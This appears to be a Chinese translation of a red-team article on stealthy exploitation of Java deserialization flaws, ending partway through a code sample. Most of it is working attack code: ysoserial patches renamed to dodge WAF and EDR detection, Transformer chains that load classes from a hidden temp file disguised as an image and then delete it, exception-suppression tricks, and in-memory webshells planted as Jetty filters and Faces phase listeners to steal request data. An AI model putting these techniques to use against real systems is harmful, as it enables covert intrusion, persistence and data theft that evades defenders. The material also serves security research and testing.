在红队参与攻击期间,我们遇到了暴露在互联网上的 Java 应用程序,这些应用程序受到用户提供的数据的任意反序列化的影响。在快速识别出一个众所周知的小工具链后,我们注意到 WAF 通过检测序列化链的特定模式来拒绝利用该漏洞的请求,并且 EDR 捕获了我们的第一个漏洞。此外,防火墙严格过滤出站流量,包括 DNS。本文将介绍一些有关在其他类似目标上利用相同漏洞的小工具的技巧,这些技巧使我们能够在不被注意的情况下从受感染的应用程序中窃取数据。
介绍
以下文章已经涵盖了不受信任数据的任意反序列化和 Java 小工具链:
-
https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-1
-
https://www.synacktiv.com/publications/finding-gadgets-like-its-2022
-
https://codewhitesec.blogspot.com/2023/04/java-exploitation-restrictions-in.html
本文将介绍一些技巧和窍门,一旦在易受攻击的应用程序上识别出可导致 RCE(远程代码执行)的小工具链,即可应用这些技巧和窍门,主要目的是使漏洞利用更加隐蔽。
避免简单的 WAF
首先,一般建议,最好避免被静态模式检测到。在交战过程中,我们注意到 WAF(Web 应用程序防火墙)会检测序列化小工具链中的特定单词,例如:
-
Runtime
-
Process
-
exec
-
shell
-
ysoserial
第一步是在重命名模块、包和类名后重新编译生成小工具链的 Java 项目。然后,应该对小工具链进行一些修改,以避免直接调用被检测到的常用内置类或方法,例如:
Runtime.getRuntime().exec("whoami")
此外,不应忘记在ysoserialJavaAssist
中用于创建随机类名的字符串,因为它们也可以被安全解决方案检测到:
// src/main/java/ysoserial/payloads/util/Gadgets.java
// [...]
106 public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
107 throws Exception {
108 final T templates = tplClass.newInstance();
// [...]
122 clazz.setName("ysoserial.Pwner" + System.nanoTime()); //HERE
123 CtClass superC = pool.get(abstTranslet.getName());
124 clazz.setSuperclass(superC);
// [...]
133 // required to make TemplatesImpl happy
134 Reflections.setFieldValue(templates, "_name", "Pwnr"); // HERE
135 Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
136 return templates;
137 }
// [...]
在运行时注入自定义类
如今,托管应用程序后端的服务器可能经常受到 EDR(端点检测和响应)的监控,而用 Java 创建的子进程可能会引发警报。因此,执行任意命令的基本有效负载将被检测到。避免这种情况的一个简单方法是仅在运行时注入执行所需操作的 Java 代码,例如读取和写入文件,或利用可从底层服务器访问的服务。
通过 TRANSLET API
通常,ysoserial工具可用于生成小工具链,几乎所有已知的链都使用相同的最后一部分:可序列化类,它们位于 JDK 内部模块中并提供强大的原语。实际上,java.xml 内部模块包含一个XSLT 编译器(Translet和TrAX),该 编译com.sun.org.apache.xalan 器包中的 Java 类具有在运行时从其字节码中注入 Java 类的能力。此外,此代码可通过简单的getter访问,该 getter 是多个小工具链(如CommonsBeanutils1)的关键组件。
这些小工具链通常通过在运行时加载自定义类来实现任意代码执行,其中包含静态初始化块,在类初始化期间会执行任意 Java 代码。从此 API 在运行时注入自定义 Java 代码的最简单方法是稍微修改ysoserial的Gadgets类,而不是直接运行普通的 shell 命令。例如,可以应用以下补丁直接在工具参数上提供 Java 代码:
diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java
index d4cd783..100a32a 100644
--- a/src/main/java/ysoserial/payloads/util/Gadgets.java
+++ b/src/main/java/ysoserial/payloads/util/Gadgets.java
@@ -103,7 +103,7 @@ public class Gadgets {
}
- public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
+ public static <T> T createTemplatesImpl ( final String code, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
@@ -114,10 +114,7 @@ public class Gadgets {
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
- String cmd = "java.lang.Runtime.getRuntime().exec("" +
- command.replace("\", "\\").replace(""", "\"") +
- "");";
- clazz.makeClassInitializer().insertAfter(cmd);
+ clazz.makeClassInitializer().insertAfter(code);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
但是,此 API 还可用于使Template类定义多个类,这可能更方便,因为这将允许实现与特定类交互所需的接口,用于后期利用目的或在运行时持久化。只要这些类使用的依赖项已在运行时加载,例如 Spring Web 框架,这应该可以工作。
实际上,TemplatesImpl类可以用来定义原始的多个类,包括以下_bytecodes字段:
// src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
// [...]
454 /**
455 * Defines the translet class and auxiliary classes.
456 * Returns a reference to the Class object that defines the main class
457 */
458 private void defineTransletClasses()
459 throws TransformerConfigurationException {
// [...]
467 TransletClassLoader loader =
468 AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
469 public TransletClassLoader run() {
470 return new TransletClassLoader(ObjectFactory.findClassLoader(),
471 _tfactory.getExternalExtensionsMap());
472 }
473 });
// [...]
516 for (int i = 0; i < classCount; i++) {
517 _class[i] = loader.defineClass(_bytecodes[i], pd);
518 final Class<?> superClass = _class[i].getSuperclass();
519
520 // Check if this is the main class
521 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
522 _transletIndex = i;
523 }
524 else {
525 _auxClasses.put(_class[i].getName(), _class[i]);
526 }
527 }
// [...]
542 }
// [...]
可以通过在ysoserial的Gadgets TemplatesImpl类中添加以下代码片段来在生成实例时导入 JAR 文件:
// [...]
private static <T> T createClassTemplatesImplFromJar(final String jarFilePath, Class<T> tplClass,
Class<?> abstTranslet, Class<?> transFactory) throws Exception {
final T templates = tplClass.newInstance();
JarFile jarFile = new JarFile(new File(jarFilePath), false);
String mainClass = jarFile.getManifest().getMainAttributes().getValue("Main-Class");
if(mainClass == null)
throw new IllegalArgumentException("No Main-Class manifest value found.");
mainClass = mainClass.replace("\", "\\")
.replace(""", "\"");
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
// run main method of main-class in static initializer
String initializer = "Class.forName(""+mainClass+"")" +
".getMethod("main", new Class[]{String[].class})" +
".invoke(null, new Object[]{new String[0]});";
clazz.makeClassInitializer().insertAfter(initializer);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
// create bytecodes from .class files
List<byte[]> bytecodesList = new ArrayList<>();
for (Enumeration<JarEntry> en = jarFile.entries(); en.hasMoreElements(); ) {
JarEntry entry = en.nextElement();
if(!entry.getName().endsWith(".class")) continue;
InputStream is = jarFile.getInputStream(entry);
bytecodesList.add(IOUtils.readFully(is, (int) entry.getSize()));
}
final byte[][] bytecodes = new byte[bytecodesList.size() + 2][];
int i = 0;
for (byte[] code : bytecodesList) {
bytecodes[i] = code;
++i;
}
bytecodes[i++] = clazz.toBytecode();
bytecodes[i] = ClassFiles.classAsBytes(Gadgets.Foo.class);
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", bytecodes);
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory
.newInstance());
return templates;
}
public static Object createClassTemplatesImplFromJar(final String jarFilePath) throws Exception {
return createClassTemplatesImplFromJar(jarFilePath,
TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
// [...]
然后可以在需要时使用该createClassTemplatesImplFromJar方法在现有小工具上生成实例。TemplateImpl
但是,两次注入整个 JAR 文件不会产生任何效果,因为相同的类不会在同一个 JAR 文件中定义两次,ClassLoader并且每个类的第一个版本都会保留。此外,还应注意内存区域已满OutOfMemory时引发的异常,正如ysoserial 作者frohoff所提到的,在定义大量新类时可能会发生这种情况。PermGen
来自 COMMONSCOLLECTIONS TRANSFORMER 链
其他小工具链利用了宽容库提供的不同强大原语,例如带有链的CommonsCollectionsTransformer。如果目标应用程序具有易受攻击的CommonsCollections依赖项,则可以在不依赖内部的情况下对其进行利用Translets,可以从特定 Java 运行时中删除,或者自 JDK 16 以来无法从未命名的模块中使用,正如CODE WHITE 的这篇精彩文章中所述:https://codewhitesec.blogspot.com/2023/04/java-exploitation-restrictions-in.html。
不幸的是,在我们参与其中期间,无法从存在漏洞的应用程序访问内部Translets,因此我们使用了下面描述的其中一种技术。
根据具体情况,可以使用两种方法。第一种方法使用并且不是无文件的,而另一种方法使用另一个内部类,但无文件。但是,如果应用程序在Java 安全管理器URLClassLoader中运行,则这两种方法都可能受到限制。
现有的CommonsCollections小工具已经使用Transformer链,主要是使用 Transformer注入自定义类,或执行任意命令:
// src/main/java/ysoserial/payloads/CommonsCollections1.java
// [...]
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
// [...]
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
// [...]
}
Transformer
这些链通过组合多个函子可以执行多种强大的操作:
-
定义由可序列化类型或标量组成的常量,方法是使用ChainedTransformer:
new ConstantTransformer(File.class);
-
使用 来迭代多个,通过提供上Transformers一个 的结果ChainedTransformer作为下一个 的第一个参数。
Transformer
Transformer
-
使用 调用现有类的任意方法InvokerTransformer。这也适用于静态方法,但需要调用getMethod以查找要调用的静态方法:
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] })
};
-
实例化一个类,使用InstantiateTransformer:
new Transformer[] {
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/etc/passwd"}
),
};
- 通过保持相同的第一个参数来迭代多个
Transformers
。为此,ClosureTransformer
应该用 来参数化ChainedClosure
, 本身用数组来参数化TransformerClosure
。如果单个实例包含在 main 中,则此构造允许在单个实例上调用多个方法ChainedTransformer
。闭包很有用,例如,可以使静态字段或方法可访问(即,public
即使其可见性最初为protected
或,也可以使它可访问private
),然后获取或调用它:
new Transformer[] {
new ConstantTransformer(Class.forName("sun.misc.Unsafe")),
new InvokerTransformer("getDeclaredField",
new Class[]{ String.class },
new Object[]{"theUnsafe"}
),
new ClosureTransformer(new TransformerClosure(new InvokerTransformer(
"setAccessible",
new Class[]{ boolean.class },
new Object[]{ true }
))),
new InvokerTransformer("get",
new Class[]{ Object.class },
new Object[]{ null }
)
};
还有一些函子提供控制流功能(例如,,,,IfClosure
)。ForClosure
SwitchTransformer
WhileClosure
这些链的唯一限制是不能向方法或构造函数提供不可序列化的参数。
从 Transformers 实例化 URLClassLoader
可以修改这种链,以便实际在磁盘上写入新的 JAR 文件,然后使用从中加载类URLClassLoader
,并删除该文件。
例如,以下链将在中创建一个文件夹/tmp/
,将 JAR 文件存储在其中,并从中加载一个类:
String uniqueKey = System.nanoTime() + "";
String mainClassName = "TestClass" + uniqueKey;
byte[] jarBytes = FileUtils.readFileToByteArray(new File(jarFilePath));
final Transformer[] transformers = new Transformer[]{
// create a temp folder
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/tmp/.cache_" + uniqueKey + "/"}
),
new InvokerTransformer("mkdirs",
new Class[]{}, new Object[]{}),
// write the JAR file in it
new ConstantTransformer(FileOutputStream.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/tmp/.cache_" + uniqueKey + "/save.bmp"}
),
new InvokerTransformer("write",
new Class[]{byte[].class}, new Object[]{jarBytes}),
// create the URLClassLoader, load the class, and instantiate it
new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(new Class[]{
URL[].class}, new Object[]{new URL[]{
new URL("file:///tmp/.cache_" + uniqueKey + "/save.bmp")}}
),
new InvokerTransformer("loadClass",
new Class[]{String.class}, new Object[]{mainClassName}),
new InstantiateTransformer(
new Class[]{},
new Object[]{}
),
// delete the JAR file
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/tmp/.cache_" + uniqueKey + "/save.bmp"}
),
new InvokerTransformer("delete",
new Class[]{}, new Object[]{}),
// delete the folder
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/tmp/.cache_" + uniqueKey + "/"}
),
new InvokerTransformer("delete",
new Class[]{}, new Object[]{}),
};
从 Transformers 调用 Unsafe
可以使用 创建一个链来定义匿名类sun.misc.Unsafe
。这只允许一次定义一个类,但由于它没有文件,因此很有用。此外,这个单一类可用于实现自定义,ClassLoader
稍后将定义所有必需的类。
以下链使用 设置theUnsafe
可访问的字段Closure
,检索其值,调用defineAnonymousClass
其方法,并创建返回类的新实例:
byte[] classBytes = FileUtils.readFileToByteArray(new File("CustomClass.class"));
new Transformer[]{
new ConstantTransformer(Class.forName("sun.misc.Unsafe")),
new InvokerTransformer("getDeclaredField",
new Class[]{ String.class },
new Object[]{"theUnsafe"}
),
new ClosureTransformer(new TransformerClosure(new InvokerTransformer(
"setAccessible",
new Class[]{ boolean.class },
new Object[]{ true }
))),
new InvokerTransformer("get",
new Class[]{ Object.class },
new Object[]{ null }
),
new InvokerTransformer("defineAnonymousClass",
new Class[]{ Class.class, byte[].class, Object[].class },
new Object[] { String.class, classBytes, new Object[0] }
),
new InvokerTransformer("newInstance",
new Class[0], new Object[0]
)
};
从 Transformers 实例化 ByteArrayClassLoader
ByteArrayClassLoader
来自byte-buddy依赖项的类对于定义任意类也很有用,因为它提供了一个ClassLoader
无需修补字段即可使用的自定义公共类:
Map<String, byte[]> defs = new HashMap<>();
defs.put("SampleClass", Files.readAllBytes(Path.of("SampleClass.class")));
new ByteArrayClassLoader(null, definitions)
.loadClass("SampleClass")
.newInstance();
或者在链中如下操作Transformer
:
HashMap<String, byte[]> defs = new HashMap<>();
defs.put("SampleClass", FileUtils.readFileToByteArray(new File("SampleClass.class")));
new Transformer[]{
new ConstantTransformer(Class.forName("net.bytebuddy.dynamic.loading.ByteArrayClassLoader")),
new InstantiateTransformer(
new Class[]{ ClassLoader.class, Map.class },
new Object[] { null, defs }
),
new InvokerTransformer("loadClass",
new Class[]{ String.class },
new Object[]{ "SampleClass" }
),
new InvokerTransformer("newInstance",
new Class[0], new Object[0]
)
};
但是,这个依赖项经常使用吗?它似乎包含在某些项目中:
- https://mvnrepository.com/artifact/org.seleniumhq.selenium/selenium-java
- https://mvnrepository.com/artifact/org.hibernate/hibernate-core
- https://github.com/brettwooldridge/HikariCP/blob/dev/pom.xml
让小工具更加隐秘
大多数小工具如果构建不当都会触发异常。要使payload更加隐蔽,必须深入了解代码流程,确保小工具反序列化过程顺利进行,错误日志清空。
TRANSLETS
当使用ysoserial生成的小工具被反序列化时,在定义新的任意类之后立即抛出以下异常:
Caused by: java.lang.NullPointerException: null
at java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:375) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:557) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:584) ~[na:na]
| ... 120 common frames omitted
这个异常实际上是从类postInitialization
的方法中抛出的AbstractTranslet
:
// src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet.java
// [...]
public final void postInitialization() {
if (this.transletVersion < 101) {
int arraySize = this.namesArray.length;// Exception thrown here
String[] newURIsArray = new String[arraySize];
String[] newNamesArray = new String[arraySize];
int[] newTypesArray = new int[arraySize];
// [...]
this.namesArray = newNamesArray;
this.urisArray = newURIsArray;
this.typesArray = newTypesArray;
}
if (this.transletVersion > 101) {
BasisLibrary.runTimeError("UNKNOWN_TRANSLET_VERSION_ERR", this.getClass().getName());
}
}
// [...]
为了避免这个错误,可以向自定义Translet
构造函数中添加下列语句之一:
-
namesArray
使用空数组初始化字段:
clazz.getConstructors()[0].setBody("this.namesArray = new String[0];");
-
将字段设置
transletVersion
为超过100
:
clazz.getConstructors()[0].setBody("this.transletVersion = 101;");
还应注意,当使用内部模块时,最近的 JVM 会在第一次从未命名的模块访问内部模块时发出抱怨:
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.apache.commons.collections4.functors.InvokerTransformer (jar:file:app.jar!/BOOT-INF/lib/commons-collections4-4.0.jar!/) to method com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()
WARNING: Please consider reporting this to the maintainers of org.apache.commons.collections4.functors.InvokerTransformer
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future releas
默认情况下会写入此消息stderr
,可以通过关闭来避免stderr
,但我们找不到可用于完全隐藏它的方法。尽管如此,当复杂的 Java 应用程序启动时,它通常会合法地显示。
公共收藏
为了不因从Transformer
链中返回的最后一个元素不是而引发异常Comparable
,CommonsCollections
可以修改小工具以返回一个常量String
:
public class CommonsCollections2 implements ObjectPayload<Serializable> {
public Serializable getObject(final String javaClassPath) throws Exception {
// [...]
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
transformer,
new ConstantTransformer("") // HERE
/* Always return a String at the end,
* which is a base type and
* is Comparable (removes all thrown exceptions)
*/
});
// [...]
}
COMMONSBEANUTILS1
一旦为CommonsBeanutils1小工具链创建并调用内部类的getOutputProperties方法,就会抛出异常,因为返回的对象没有实现接口。TemplatesImpl
BeansComparator
Comparable
为了抑制此类异常,可以向构造函数提供可序列化和内部的NullComparatorBeansComparator
类的实例:
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String filePath) throws Exception {
final Object templates = Gadgets.createClassTemplatesImplFromJar(filePath);
//NullComparator implements Comparator<?> and Serializable
Constructor<?> nullComparatorConstructor = Reflections
.getFirstCtor("java.util.Comparators$NullComparator");
Comparator<?> nullComparator = (Comparator<?>) nullComparatorConstructor
.newInstance(true, null);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit", nullComparator);
// [...]
}
由于该比较器不会尝试将元素转换为Comparable
,因此在反序列化过程中不会抛出异常。
将小工具封装在真实对象中
一旦构建了最终的小工具(例如在内部CommonsCollections4.java::getObject
),就可以将小工具链隐藏在任何类的实例内部。
例如,如果底层应用程序需要特定Serializable
类型,则可以重新声明它并添加Object
包含小工具的内部字段,因为对其没有任何约束(参见FieldValues实现)。
例如,如果应用程序具有以下易受攻击的代码:
CustomResult res = (CustomResult)ois.readObject();
System.out.println(res.result+1)
具有以下CustomResult
类:
package my.app;
class CustomResult {
public final int result;
public CustomResult(int res) {this.result = res;}
}
可以在生成小工具链的 Java 项目上手动重新声明相同的类(例如在 ysoserial 内部),以添加包含小工具的任意对象来触发链(构造函数仅在生成序列化链的项目上使用),只要serialVersionUID
定义相同:
package my.app;
class CustomResult implements Serializable {
private final long serialVersionUID = XL; //needs to be adapted from the existing generated UID
private Object ignoredObject;
public final int result;
public CustomResult(Object gadget) {
this.result = 1337;
this.ignoredObject = gadget;
}
}
然后,return
只需修改现有小工具链的语句:
public Object getObject(final String arg) throws Exception {
// [...]
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(chain));
// stub data for replacement later
queue.add(1);
queue.add(1);
// [...]
return new my.app.CustomResult(queue); // HERE
}
-
Javax Faces -
Spring
-
阅读 Web 框架的文档以及嵌入式 Web 服务器的文档。 -
阅读他们的源代码或分析他们的 JAR 文件以了解当前 HTTP 请求及其响应是如何处理的和存储的。 -
分析当前线程中存储的引用。在 Java 中,当前线程通常在ThreadLocal映射中保存Web 应用程序的当前状态。其中存储的变量名为。ThreadLocals
ThreadLocals
当前线程上存储的内容,应public
使用 API 设置可访问的特定字段(即)Reflection
。然后,ThreadLocalMap
可以枚举条目:Thread t = Thread.currentThread();
java.lang.reflect.Field fThreadLocals = Thread.class
.getDeclaredField("threadLocals");
fThreadLocals.setAccessible(true);
java.lang.reflect.Field fTable = Class
.forName("java.lang.ThreadLocal$ThreadLocalMap")
.getDeclaredField("table");
fTable.setAccessible(true);
if(fThreadLocals.get(t) == null) return;
Object table = fTable.get(fThreadLocals.get(t));
java.lang.reflect.Field fValue = Class
.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry")
.getDeclaredField("value");
fValue.setAccessible(true);
int length = java.lang.reflect.Array.getLength(table);
for (int i=0; i < length; ++i) {
Object entry = java.lang.reflect.Array.get(table, i);
if(entry == null) continue;
Object value = fValue.get(entry);
if(value == null) continue;
if (value instanceof java.lang.ref.WeakReference) {
value = ((java.lang.ref.WeakReference) value).get();
}
if(value == null) continue;
if (value instanceof java.lang.ref.SoftReference) {
value = ((java.lang.ref.SoftReference) value).get();
}
if(value == null) continue;
System.out.println(value.getClass() + " => " + value.toString());
}
如果在 Javax Faces 应用程序上执行上述代码片段,ThreadLocals
则会打印以下内容:
class com.sun.faces.context.FacesContextImpl => com.sun.faces.context.FacesContextImpl@48ba57c4
class com.sun.faces.context.FacesContextImpl => com.sun.faces.context.FacesContextImpl@48ba57c4
class java.util.concurrent.ThreadLocalRandom => java.util.concurrent.ThreadLocalRandom@3b04c8e9
class com.sun.faces.application.ApplicationAssociate => com.sun.faces.application.ApplicationAssociate@37225744
class java.lang.StringCoding$StringDecoder => java.lang.StringCoding$StringDecoder@41d82a29
class sun.nio.cs.UTF_8$Encoder => sun.nio.cs.UTF_8$Encoder@693220b9
class java.lang.StringCoding$StringEncoder => java.lang.StringCoding$StringEncoder@5a0287a3
class com.sun.xml.internal.stream.util.BufferAllocator => com.sun.xml.internal.stream.util.BufferAllocator@36bf1523
前两个条目与当前处理的请求的内部状态 ( FacesContextImpl )相关,这是与内部 Web API 交互的良好切入点。虽然这些条目可用于以通用方式获取对当前状态的引用,但可能存在静态方法来获取相同的状态,具体取决于 Web 框架。
在 JAVAX FACES 中
在此 Web 框架中,静态方法允许从以下位置检索应用程序的当前状态ThreadLocals
:
// src/main/java/javax/faces/context/FacesContext.java
// [...]
/**
* <p class="changed_modified_2_0">Return the {@link FacesContext}
* instance for the request that is being processed by the current
* thread. If called during application initialization or shutdown,
// [...]
*/
public static FacesContext getCurrentInstance() {
FacesContext facesContext = instance.get();
if (null == facesContext) {
facesContext = (FacesContext)threadInitContext.get(Thread.currentThread());
}
// Bug 20458755: If not found in the threadInitContext, use
// a special FacesContextFactory implementation that knows how to
// use the initContextServletContext map to obtain current ServletContext
// out of thin air (actually, using the current ClassLoader), and use it
// to obtain the init FacesContext corresponding to that ServletContext.
if (null == facesContext) {
// [...]
FacesContextFactory privateFacesContextFactory = (FacesContextFactory) FactoryFinder.getFactory("com.sun.faces.ServletContextFacesContextFactory");
if (null != privateFacesContextFactory) {
facesContext = privateFacesContextFactory.getFacesContext(null, null, null, null);
}
}
return facesContext;
}
// [...]
从此实例中,可以使用和方法从ExternalContext获取 HTTP 请求及其响应:getRequest
getResponse
HttpServletRequest req = ((HttpServletRequest) FacesContext.getCurrentInstance()
.getExternalContext().getRequest());
System.out.println(req.getParameter("get_param"));
HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance()
.getExternalContext().getResponse());
resp.getWriter().write("Response!");
Portlet
如果使用而不是Servlet
Faces,请求和响应类型可能会有所不同。
但是,如果从 main 中加载的类调用这些方法ClassLoader
,或者从ClassLoader
不同于当前线程上下文的类加载器调用这些方法,则会引发异常。与 Faces 交互的最简单方法是使用当前线程上下文的 加载一个新类ClassLoader
:
byte[] classBytes = new byte[]{/* [...] */};
Method method = classLoader.loadClass("java.lang.ClassLoader")
.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.class, Integer.class);
method.setAccessible(true);
((Class) method.invoke(Thread.currentThread().getContextClassLoader(),
className, classBytes, 0, classBytes.length)
).newInstance();
另一种选择是通过查询当前线程上下文来手动查找类并调用方法ClassLoader
:
Class klass = Thread.currentThread().getContextClassLoader().loadClass("javax.faces.context.FacesContext")
Object instance = klass.getMethod("getCurrentInstance", new Class[0])
.invoke(null null);
// [...]
最后,需要注意的是,相同的静态方法似乎也存在于Mojarra Faces上,因此只要使用正确的包,以这种方式窃取数据也应该可以在这个 Web 框架上工作。
Spring
对于 Faces,Spring中的静态方法会自动从以下位置查找应用程序的当前状态:ThreadLocals
// spring-web/src/main/java/org/springframework/web/context/request/RequestContextHolder.java
// [...]
/**
* Return the RequestAttributes currently bound to the thread.
* <p>Exposes the previously bound RequestAttributes instance, if any.
* Falls back to the current JSF FacesContext, if any.
// [...]
* is bound to the current thread
* @see #setRequestAttributes
* @see ServletRequestAttributes
* @see FacesRequestAttributes
* @see jakarta.faces.context.FacesContext#getCurrentInstance()
*/
public static RequestAttributes currentRequestAttributes() throws IllegalStateException {
RequestAttributes attributes = getRequestAttributes();
if (attributes == null) {
if (jsfPresent) {
attributes = FacesRequestAttributesFactory.getFacesRequestAttributes();
}
if (attributes == null) {
throw new IllegalStateException("No thread-bound request found: " +
// [...]
"In this case, use RequestContextListener or RequestContextFilter to expose the current request.");
}
}
return attributes;
}
// [...]
HTTP 请求及其响应可以从扩展的类的实例中获取RequestAttributes
。对于Servlet
,应使用类的getRequest
和方法:getResponse
ServletRequestAttributes
ServletRequestAttributes reqAttributes = (ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes();
System.out.println(reqAttributes.getRequest()
.getParameter("get_param"));
PrintWriter writer = reqAttributes.getResponse()
.getWriter();
writer.println("Result");
writer.flush();
劫持HTTP流
当网络流量被过滤时,利用任意反序列化漏洞的下一步可能是劫持 HTTP 流。通过部署内存中的 webshell,即使在没有 JSP(Java 服务器页面)文件解析器的环境中,这也有助于在运行时持久化并仅利用漏洞一次。
至于数据泄露,以下网络环境可能成为目标:
-
Javax Faces
-
嵌入 Tomcat 的 Spring
-
带 Jetty 的 Spring
这篇有趣的文章https://xz.aliyun.com/t/7388和ysomap工具https://github.com/wh1t3p1g/ysomap。已经介绍了一些针对嵌入式 Tomcat 的技术。接下来的章节将演示第一种方法,该方法可以用于 Jetty 的 Spring,另一种方法可以用于 Javax Faces,第三种方法可以用于使用 Valves 的 Tomcat 的 Spring。
在 SPRING 和 JETTY 上使用过滤器
在 Jetty 中,主 Web 服务的上下文由类管理WebAppContext
。但是,从 中,只能从前面提到的类中获取其封闭类ThreadLocals
的实例: Context
RequestContextHolder
WebAppContext.Context ctx = (WebAppContext.Context) (
(ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes()
).getRequest().getServletContext();
在 Java 中,非静态封闭类保存其封闭类的实例。在内部,this$0
使用名为 的私有字段来存储此实例。为了获取 的实例WebAppContext
,可以使用以下 Java 代码片段:
WebAppContext.Context ctx = (WebAppContext.Context) (
(ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes()
).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);
从那里,可以在正在运行的应用程序上定义自定义过滤器以拦截请求:
WebAppContext.Context ctx = (WebAppContext.Context) (
(ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes()
).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);
Set<DispatcherType> set = new HashSet<DispatcherType>();
appCtx.addFilter(new FilterHolder(new Filter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(!(servletRequest instanceof HttpServletRequest)) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}
if(((HttpServletRequest) servletRequest).getHeader("req_header") != null) {
servletResponse.getWriter().write(((HttpServletRequest) servletRequest).getHeader("req_header") );
((HttpServletResponse)servletResponse).getWriter().append("Result");
}
filterChain.doFilter(servletRequest, servletResponse);
}
}), "/*", EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST, DispatcherType.FORWARD));
这可以作为使用 Jetty 针对 Spring 的内存 Webshell 的基础。但是,对于嵌入式 Tomcat,需要做更多工作才能将此过滤器放在过滤器链的顶部以拦截未经身份验证的请求,具体取决于目标应用程序。
在 JAVAX FACES 上使用 PHASES
可以使用PhaseListeners在 Faces 中拦截请求。它们可以像 Jetty 或 Tomcat 上的过滤器一样附加到底层 Web 框架。
习俗PhaseListener
的结构如下:
public class CustomPhase implements PhaseListener {
@Override
public void afterPhase(PhaseEvent phaseEvent) {
try {
Map<String, Object> cookies = FacesContext.getCurrentInstance().getExternalContext()
.getRequestCookieMap();
if (!cookies.containsKey("test"))
return;
Cookie cookie = (Cookie) cookies.get("test");
// [...]
HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance()
.getExternalContext().getResponse());
resp.getWriter().write("Result");
}catch(Throwable tr) {
// ignored
}
}
@Override
public void beforePhase(PhaseEvent phaseEvent) {
}
@Override
public PhaseId getPhaseId() {
